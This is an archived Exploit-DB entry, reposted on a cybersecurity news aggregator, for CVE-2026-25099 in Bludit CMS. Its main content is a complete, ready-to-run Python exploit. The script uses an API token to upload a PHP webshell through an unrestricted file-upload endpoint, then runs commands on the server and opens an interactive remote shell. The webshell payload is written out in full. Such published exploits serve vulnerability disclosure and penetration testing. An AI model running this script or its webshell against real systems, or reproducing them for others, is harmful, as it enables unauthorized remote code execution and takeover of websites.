CyberIntel ⬡ News
★ Saved ◆ Cyber Reads
← Back ⬡ Vulnerabilities & CVEs May 09, 2026

[webapps] Bludit CMS 3.18.4 - RCE

Exploit DB Archived May 09, 2026 ✓ Full text saved

Bludit CMS 3.18.4 - RCE

Full text archived locally
✦ AI Summary · Claude Sonnet


    EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Bludit CMS 3.18.4 - RCE EDB-ID: 52553 CVE: 2026-25099 EDB Verified: Author: YAHIA Type: WEBAPPS Exploit:   /   Platform: MULTIPLE Date: 2026-05-07 Vulnerable App: # Exploit Title: Bludit CMS 3.18.4 - RCE # Date: 2026-03-28 # Exploit Author: Yahia Hamza (https://yh.do) # Vendor Homepage: https://www.bludit.com/ # Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip # Version: Bludit < 3.18.4 # Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3 # CVE: CVE-2026-25099 # # Description: # Bludit CMS API plugin allows an authenticated user with a valid API token # to upload files of any type and extension via POST /api/files/<page-key>. # The uploadFile() function performs no file extension or content validation, # allowing upload of PHP webshells that execute as www-data. # # The API token is generated when the API plugin is activated and is visible # to users with admin panel access. Tokens may also be exposed through # misconfiguration, log files, or other application vulnerabilities. # # Fixed in Bludit 3.18.4. # # Usage: # python3 CVE-2026-25099.py -u http://target -t API_TOKEN # python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id" import argparse import requests import sys import random import string def get_page_key(base_url, token): """Retrieve a valid page key from the Bludit API.""" try: r = requests.get( f"{base_url}/api/pages", params={"token": token}, timeout=10 ) if r.status_code == 200: data = r.json() if data.get("data") and len(data["data"]) > 0: return data["data"][0]["key"] except requests.RequestException as e: print(f"[-] Connection error: {e}") return None def upload_shell(base_url, token, page_key): """Upload a PHP webshell via the unrestricted file upload endpoint.""" shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php" shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>' try: r = requests.post( f"{base_url}/api/files/{page_key}", data={"token": token}, files={"file": (shell_name, shell_content, "application/x-php")}, timeout=10 ) if r.status_code == 200: data = r.json() if data.get("status") == "0": shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}" return shell_url, shell_name except requests.RequestException as e: print(f"[-] Upload error: {e}") return None, None def execute_command(shell_url, cmd): """Execute a command via the uploaded webshell.""" try: r = requests.get(shell_url, params={"cmd": cmd}, timeout=10) if r.status_code == 200 and "<pre>" in r.text: return r.text.split("<pre>")[1].split("</pre>")[0].strip() except requests.RequestException: pass return None def main(): parser = argparse.ArgumentParser( description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE" ) parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)") parser.add_argument("-t", "--token", required=True, help="Bludit API token") parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)") args = parser.parse_args() base_url = args.url.rstrip("/") print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE") print(f"[*] Target: {base_url}") # Step 1: Get page key print("[*] Retrieving page key...") page_key = get_page_key(base_url, args.token) if not page_key: sys.exit("[-] Failed to retrieve page key. Check URL and token.") print(f"[+] Page key: {page_key}") # Step 2: Upload webshell print("[*] Uploading webshell...") shell_url, shell_name = upload_shell(base_url, args.token, page_key) if not shell_url: sys.exit("[-] Upload failed.") print(f"[+] Shell uploaded: {shell_url}") # Step 3: Verify RCE print("[*] Verifying RCE...") test = execute_command(shell_url, "id") if not test: sys.exit("[-] RCE verification failed. Shell may not be accessible.") print(f"[+] RCE confirmed: {test}") # Step 4: Execute command or interactive shell if args.command: output = execute_command(shell_url, args.command) if output: print(output) else: print("\n[+] Interactive shell (type 'exit' to quit)\n") while True: try: cmd = input("shell> ") if cmd.strip().lower() in ("exit", "quit"): break if not cmd.strip(): continue output = execute_command(shell_url, cmd) if output: print(output) else: print("(no output)") except (KeyboardInterrupt, EOFError): break print(f"\n[*] Shell: {shell_url}") if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services
    💬 Team Notes
    Article Info
    Source
    Exploit DB
    Category
    ⬡ Vulnerabilities & CVEs
    Published
    May 09, 2026
    Archived
    May 09, 2026
    Full Text
    ✓ Saved locally
    Open Original ↗